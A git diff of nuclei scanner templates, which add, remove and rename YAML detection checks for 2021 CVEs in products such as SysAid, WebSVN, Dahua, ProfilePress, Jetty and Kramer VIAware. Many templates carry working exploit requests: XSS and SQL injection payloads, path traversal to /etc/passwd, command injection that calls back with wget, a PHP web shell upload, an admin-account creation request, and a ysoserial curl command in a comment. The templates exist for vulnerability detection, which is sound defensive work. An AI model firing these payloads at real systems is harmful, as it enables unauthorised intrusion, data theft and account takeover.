nuclei-templates/CVE-2021/cve-2021-31800.yaml rename to nuclei-templates/CVE-2021/CVE-2021-31800.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-31856.yaml b/nuclei-templates/CVE-2021/CVE-2021-31856.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-31856.yaml rename to nuclei-templates/CVE-2021/CVE-2021-31856.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-31862.yaml b/nuclei-templates/CVE-2021/CVE-2021-31862.yaml new file mode 100644 index 0000000000..002a8fdbff --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-31862.yaml @@ -0,0 +1,30 @@ +id: CVE-2021-31862 + +info: + name: SysAid - Reflected XSS + author: jas37 + severity: medium + description: SysAid 20.4.74 allows XSS via the KeepAlive.jsp stamp parameter without any authentication. + reference: + - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 + - https://www.sysaid.com/product/on-premise/latest-release + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-31862 + cwe-id: CWE-79 + tags: cve,cve2021,xss,sysaid + +requests: + - method: GET + path: + - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' + + matchers: + + - type: dsl + dsl: + - '(body == "false ")' + - 'status_code == 200' + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-3223.yaml b/nuclei-templates/CVE-2021/CVE-2021-3223.yaml deleted file mode 100644 index 8507a7009f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-3223.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2021-3223 -info: - name: Node RED Dashboard - Directory Traversal - author: gy741,pikpikcu - severity: high - description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files. - reference: - - https://github.com/node-red/node-red-dashboard/issues/669 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223 - - https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-3223 - cwe-id: CWE-22 - metadata: - verified: true - shodan-query: title:"Node-RED" - fofa-query: title="Node-RED" - tags: cve,cve2021,node-red-dashboard,lfi -requests: - - method: GET - path: - - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' - - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js' - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: word - part: body - words: - - "Node-RED web server is listening" diff --git a/nuclei-templates/CVE-2021/CVE-2021-32305.yaml b/nuclei-templates/CVE-2021/CVE-2021-32305.yaml deleted file mode 100644 index 9dc28f7658..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-32305.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-32305 - -info: - name: Websvn <2.6.1 - Remote Code Execution - author: gy741 - severity: critical - description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter. - reference: - - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - - https://github.com/websvnphp/websvn/pull/142 - - http://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-32305 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-32305 - cwe-id: CWE-78 - cpe: cpe:2.3:a:websvn:websvn:*:*:*:*:*:*:*:* - epss-score: 0.97279 - tags: cve,cve2021,websvn,rce,oast,packetstorm - metadata: - max-request: 1 - -http: - - raw: - - | - GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept: */* - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/05/18 diff --git a/nuclei-templates/CVE-2021/cve-2021-32820.yaml b/nuclei-templates/CVE-2021/CVE-2021-32820.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-32820.yaml rename to nuclei-templates/CVE-2021/CVE-2021-32820.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-3297.yaml b/nuclei-templates/CVE-2021/CVE-2021-3297.yaml deleted file mode 100644 index 1c8850cd17..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-3297.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-3297 - -info: - name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass - author: gy741 - severity: high - description: On Zyxel NBG2105 V1.00(AAGU.2)C0 devices, setting the login cookie to 1 provides administrator access. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-3297 - - https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass - - https://www.zyxel.com/us/en/support/security_advisories.shtml - - https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105 - classification: - cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.8 - cve-id: CVE-2021-3297 - cwe-id: CWE-287 - tags: cve,cve2021,zyxel,auth-bypass,router - -requests: - - raw: - - | - GET /status.htm HTTP/1.1 - Host: {{Hostname}} - Cookie: language=en; login=1 - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "Running Time" - - "Firmware Version" - - "Firmware Build Time" - condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-33044.yaml b/nuclei-templates/CVE-2021/CVE-2021-33044.yaml deleted file mode 100644 index 09217ac1d6..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-33044.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2021-33044 - -info: - name: Dahua IPC/VTH/VTO devices Authentication Bypass - author: gy741 - severity: critical - description: The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. - reference: - - https://github.com/dorkerdevil/CVE-2021-33044 - - https://nvd.nist.gov/vuln/detail/CVE-2021-33044 - - https://seclists.org/fulldisclosure/2021/Oct/13 - - https://www.dahuasecurity.com/support/cybersecurity/details/957 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-33044 - cwe-id: CWE-287 - tags: dahua,cve,cve2021,auth-bypass - -requests: - - raw: - - | - POST /RPC2_Login HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/javascript, */*; q=0.01 - Connection: close - X-Requested-With: XMLHttpRequest - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Origin: {{BaseURL}} - Referer: {{BaseURL}} - - {"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0} - - matchers-condition: and - matchers: - - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"result":true' - - 'id' - - 'params' - - 'session' - condition: and - - extractors: - - type: regex - group: 1 - part: body - regex: - - ',"result":true,"session":"([a-z]+)"\}' diff --git a/nuclei-templates/CVE-2021/CVE-2021-33544.yaml b/nuclei-templates/CVE-2021/CVE-2021-33544.yaml new file mode 100644 index 0000000000..c89877d50d --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-33544.yaml @@ -0,0 +1,26 @@ +id: CVE-2021-33544 + +info: + name: Geutebruck RCE + description: Multiple vulnerabilities in the web-based management interface of Geutebruck could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. + author: gy741 + severity: critical + reference: | + - https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/ + tags: cve,cve2021,geutebruck,rce,oob + +requests: + - raw: + - | + GET //uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://{{interactsh-url}})&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1 + Host: {{Hostname}} + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + Accept-Encoding: gzip, deflate + Cache-Control: max-age=0 + Connection: keep-alive + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2021/CVE-2021-3378.yaml b/nuclei-templates/CVE-2021/CVE-2021-3378.yaml deleted file mode 100644 index f39c826555..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-3378.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2021-3378 - -info: - name: FortiLogger Unauthenticated Arbitrary File Upload - author: dwisiswant0 - severity: critical - reference: https://erberkan.github.io/2021/cve-2021-3378/ - description: | - This template detects an unauthenticated arbitrary file upload - via insecure POST request. It has been tested on version 4.4.2.2 in - Windows 10 Enterprise. - tags: cve,cve2021,fortilogger,fortigate,fortinet - -requests: - - raw: - - | - POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS - Accept: application/json - Referer: {{BaseURL}} - Connection: close - X-Requested-With: XMLHttpRequest - - ------WebKitFormBoundarySHHbUsfCoxlX1bpS - Content-Disposition: form-data; name="file"; filename="poc.txt" - Content-Type: image/png - - POC_TEST - - ------WebKitFormBoundarySHHbUsfCoxlX1bpS - - - | - GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "POC_TEST" - part: body - - - type: word - words: - - "text/plain" - - "ASP.NET" - condition: and - part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-34370.yaml b/nuclei-templates/CVE-2021/CVE-2021-34370.yaml new file mode 100644 index 0000000000..13b713dd9e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-34370.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-34370 + +info: + name: Accela Civic Platform 21.1 - Open Redirect & XSS + author: 0x_Akoko + description: Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1 + reference: https://www.exploit-db.com/exploits/49990 + severity: medium + tags: xss,redirect,cves + +requests: + - method: GET + path: + - "{{BaseURL}}/ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://example.com/" + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-34429.yaml b/nuclei-templates/CVE-2021/CVE-2021-34429.yaml new file mode 100644 index 0000000000..3df25caa99 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-34429.yaml @@ -0,0 +1,55 @@ +id: CVE-2021-34429 + +info: + name: Eclipse Jetty - Information Disclosure + author: bernardofsr,am0nt31r0 + severity: medium + description: | + Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5. + reference: + - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm + - https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E + - https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E + - https://nvd.nist.gov/vuln/detail/CVE-2021-34429 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-34429 + cwe-id: CWE-200 + epss-score: 0.88034 + tags: cve,cve2021,jetty + metadata: + max-request: 2 + +http: + - raw: + - |+ + GET /%u002e/WEB-INF/web.xml HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + - |+ + GET /.%00/WEB-INF/web.xml HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + unsafe: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + - "java.sun.com" + part: body + condition: and + + - type: word + part: header + words: + - "application/xml" + +# Enhanced by cs on 2023/04/10 diff --git a/nuclei-templates/CVE-2021/CVE-2021-34621.yaml b/nuclei-templates/CVE-2021/CVE-2021-34621.yaml new file mode 100644 index 0000000000..0c9e8e6232 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-34621.yaml @@ -0,0 +1,106 @@ +id: CVE-2021-34621 + +info: + name: WordPress ProfilePress wp-user-avatar plugin make admin users + author: 0xsapra + severity: critical + reference: https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin + tags: cve,cve2021,wordpress,wp-plugin + +requests: + - raw: + - | + POST /wp-admin/admin-ajax.php HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0 + Accept: application/json, text/javascript, */*; q=0.01 + X-Requested-With: XMLHttpRequest + Content-Type: multipart/form-data; boundary=---------------------------138742543134772812001999326589 + Origin: {{BaseURL}} + Referer: {{BaseURL}} + Connection: close + + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="reg_username" + + {{randstr}} + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="reg_email" + + {{randstr}}@example.com + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="reg_password" + + {{randstr}}@example.com + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="reg_password_present" + + true + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="reg_first_name" + + {{randstr}}@example.com + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="reg_last_name" + + {{randstr}}@example.com + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="_wp_http_referer" + + /wp/?page_id=18 + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="pp_current_url" + + {{BaseURL}} + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="wp_capabilities[administrator]" + + 1 + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="signup_form_id" + + 1 + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="signup_referrer_page" + + + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="action" + + pp_ajax_signup + -----------------------------138742543134772812001999326589 + Content-Disposition: form-data; name="melange_id" + + + -----------------------------138742543134772812001999326589-- + + - | + POST /wp-admin/admin-ajax.php HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0 + Accept: application/json, text/javascript, */*; q=0.01 + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + Origin: {{BaseURL}} + Referer: {{BaseURL}} + Connection: close + + action=pp_ajax_login&data=login_username={{randstr}}@example.com&login_password={{randstr}}@example.com + + - | + GET /wp-admin/ HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Connection: close + + redirects: true + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "welcome-panel" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-34640.yaml b/nuclei-templates/CVE-2021/CVE-2021-34640.yaml deleted file mode 100644 index f56d7fe0d5..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-34640.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2021-34640 - -info: - name: Securimage-WP-Fixed <= 3.5.4 - Reflected Cross-Site Scripting (XSS) - author: dhiyaneshDK - severity: medium - description: The Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.5.4. - reference: - - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2 - - https://nvd.nist.gov/vuln/detail/CVE-2021-34640 - - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640 - - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-34640 - cwe-id: CWE-79 - tags: wordpress,cve,cve2021,wp-plugin,authenticated - -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - - | - GET //wp-admin/options-general.php/">/script%3E?page=securimage-wp-options%2F HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - - type: status - status: - - 200 - - - type: word - part: header - words: - - "text/html" diff --git a/nuclei-templates/CVE-2021/cve-2021-35265.yaml b/nuclei-templates/CVE-2021/CVE-2021-35265.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-35265.yaml rename to nuclei-templates/CVE-2021/CVE-2021-35265.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-35336.yaml b/nuclei-templates/CVE-2021/CVE-2021-35336.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-35336.yaml rename to nuclei-templates/CVE-2021/CVE-2021-35336.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-35464.yaml b/nuclei-templates/CVE-2021/CVE-2021-35464.yaml new file mode 100644 index 0000000000..5b884fab3a --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-35464.yaml @@ -0,0 +1,34 @@ +id: CVE-2021-35464 + +info: + author: madrobot + name: Pre-auth RCE in ForgeRock OpenAM + description: ForgeRock OpenAM unsafe Java deserialization RCE. + severity: critical + tags: cve,cve2021,openam,rce,java + reference: | + - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 + +requests: + - method: GET + path: + - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version' + + # '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=' + # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "Set-Cookie: JSESSIONID=" + part: header + + - type: word + words: + - "Version Information -" + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-35587.yaml b/nuclei-templates/CVE-2021/CVE-2021-35587.yaml deleted file mode 100644 index d49530cc45..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-35587.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2021-35587 - -info: - name: Oracle Access Manager - Remote Code Execution - author: cckuailong - severity: critical - description: | - The Oracle Access Manager portion of Oracle Fusion Middleware (component: OpenSSO Agent) is vulnerable to remote code execution. Supported versions that are affected are 11.1.2.3.0, 12.2.1.3.0 and 12.2.1.4.0. This is an easily exploitable vulnerability that allows unauthenticated attackers with network access via HTTP to compromise Oracle Access Manager. - remediation: | - Apply the latest security patches provided by Oracle to mitigate this vulnerability. - reference: - - https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316 - - https://nvd.nist.gov/vuln/detail/CVE-2021-35587 - - https://www.oracle.com/security-alerts/cpujan2022.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-35587 - cwe-id: CWE-502 - epss-score: 0.95643 - epss-percentile: 0.99236 - cpe: cpe:2.3:a:oracle:access_manager:11.1.2.3.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: oracle - product: access_manager - shodan-query: http.title:"Oracle Access Management" - fofa-query: body="/oam/pages/css/login_page.css" - tags: cve,cve2021,oam,rce,java,unauth,oracle,kev - -http: - - method: GET - path: - - '{{BaseURL}}/oam/server/opensso/sessionservice' - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "x-oracle-dms-ecid" - - "x-oracle-dms-rid" - case-insensitive: true - condition: or - - - type: word - part: body - words: - - "/oam/pages/css/general.css" - - - type: status - status: - - 200 - -# digest: 4a0a00473045022100f6d73f1b41fdd1bfc1b430b7a051be821dc893567b2af11c759ad99ae192ca6d022079a7aff657604ea86a0c43894e1765c8c1e76ed07c59ea7eca41c17ae9c34b58:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-36356.yaml b/nuclei-templates/CVE-2021/CVE-2021-36356.yaml deleted file mode 100644 index fc0224ed28..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-36356.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2021-36356 -info: - name: Kramer VIAware - Remote Code Execution - author: gy741 - severity: critical - description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames. - reference: - - https://www.exploit-db.com/exploits/50856 - - https://nvd.nist.gov/vuln/detail/CVE-2021-36356 - - https://nvd.nist.gov/vuln/detail/CVE-2021-35064 - - https://write-up.github.io/kramerav/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-36356 - cwe-id: CWE-434 - tags: rce,viaware,cve,cve2021,kramer -requests: - - raw: - - | - POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php - - | - GET /{{randstr}}.php?cmd=sudo%20rpm%20--eval%20'%25%7Blua:os.execute(%22wget%20http://{{interactsh-url}}%22)%7D' HTTP/1.1 - Host: {{Hostname}} - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - -# Enhanced by mp on 2022/05/18 diff --git a/nuclei-templates/CVE-2021/CVE-2021-36450.yaml b/nuclei-templates/CVE-2021/CVE-2021-36450.yaml deleted file mode 100644 index 7220501c25..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-36450.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2021-36450 -info: - name: Verint 15.2 - Cross Site Scripting - author: atomiczsec - severity: medium - description: Verint Workforce Optimization (WFO) 15.2.8.10048 allows XSS via the control/my_notifications NEWUINAV parameter. - reference: - - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 - - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-36450 - - http://verint.com - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-36450 - cwe-id: CWE-79 - metadata: - shodan-query: title:"Verint Sign-in" - verified: "true" - tags: cve,cve2021,xss,verint -requests: - - raw: - - | - GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1 - Host: {{Hostname}} - - | - POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}} - redirects: true - max-redirects: 2 - cookie-reuse: true - extractors: - - type: regex - part: header - internal: true - name: csrfp_login - group: 1 - regex: - - 'csrfp_login=([a-zA-Z0-9]+);' - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">

Test

26" class="loginUserNameText' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-36748.yaml b/nuclei-templates/CVE-2021/CVE-2021-36748.yaml new file mode 100644 index 0000000000..86b47439c7 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-36748.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-36748 + +info: + name: PrestaHome Blog for PrestaShop - SQL Injection + author: whoever + severity: high + description: Blog for PrestaShop by PrestaHome < 1.7.8 is vulnerable to a SQL injection (blind) via sb_category parameter. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-36748 + - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/ + - https://alysum5.promokit.eu/promokit/documentation/blog/ + - https://blog.sorcery.ie + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-36748 + cwe-id: CWE-89 + tags: cve,cve2021,prestashop,prestahome,sqli,cms + +requests: + - raw: + - | + GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1 + Host: {{Hostname}} + + - | + GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers: + - type: dsl + dsl: + - "status_code_1 == 200" + - "status_code_2 == 404" + - 'contains(body_1, "prestashop")' + - "contains(tolower(all_headers_2), 'index.php?controller=404')" + - "len(body_2) == 0" + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-36749.yaml b/nuclei-templates/CVE-2021/CVE-2021-36749.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-36749.yaml rename to nuclei-templates/CVE-2021/CVE-2021-36749.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-37416.yaml b/nuclei-templates/CVE-2021/CVE-2021-37416.yaml new file mode 100644 index 0000000000..3f2ac17b38 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-37416.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-37416 +info: + name: Zoho ManageEngine ADSelfService Plus - Reflected XSS + author: edoardottt + severity: medium + description: Zoho ManageEngine ADSelfService Plus version 6103 and prior is vulnerable to reflected XSS on the loadframe page. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-37416 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"ManageEngine" + verified: true + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 + - https://blog.stmcyber.com/vulns/cve-2021-37416/ + tags: cve,cve2021,zoho,xss +requests: + - method: GET + path: + - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: header + words: + - "text/html" + - type: word + part: body + words: + - ">" + - "adsf/js/" + condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-37580.yaml b/nuclei-templates/CVE-2021/CVE-2021-37580.yaml deleted file mode 100644 index 93830671c7..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-37580.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2021-37580 - -info: - name: Apache ShenYu Admin JWT - Authentication Bypass - author: pdteam - severity: critical - description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-37580 - - https://github.com/fengwenhua/CVE-2021-37580 - - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb - - http://www.openwall.com/lists/oss-security/2021/11/16/1 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-37580 - cwe-id: CWE-287 - tags: cve,cve2021,apache,jwt,shenyu - -requests: - - raw: - - | - GET /dashboardUser HTTP/1.1 - Host: {{Hostname}} - X-Access-Token: 